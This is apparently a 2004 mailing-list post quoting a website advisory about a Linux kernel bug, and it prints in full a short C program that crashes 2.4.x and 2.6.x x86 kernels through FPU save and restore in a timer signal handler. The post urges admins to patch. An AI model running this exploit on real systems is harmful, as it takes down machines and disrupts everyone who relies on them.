hi group,
don't know why this new didn't make much noise. a small C code, which
when compiled and run crashes the kernel. i tried to copile and run this
over ssh, and it crashed my ssh session as well as the ssh server.
admins make sure you apply the proper patches.
http://reviewed.homelinux.org/news/2004-06-11_kernel_crash/index.html.en
<FROM THE WEBSITE>
New Kernel Crash-Exploit discovered
Published 2004-06-11 by xiando, v2.3.0, last updated 2004-06-15.
A bug lets a simple C program crash the Linux kernel, effectively locking
the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86
architecture.
The kernel is the most important part of the Linux operating system.
It handles communication with the computers hardware and decides the
priority of running programs (processes). If the kernels stops doing
it's job, everything else will too.
The Evil Code
Running this simple C program crashes the Linux kernel.
crash.c.txt
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
This bug is confirmed to be present when the code is compiled with GCC
version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel
versions 2.4.2x and 2.6.x on x86 and amd64 systems.
[ .. SNIP .. ]
</FROM THE WEBSITE>
saha
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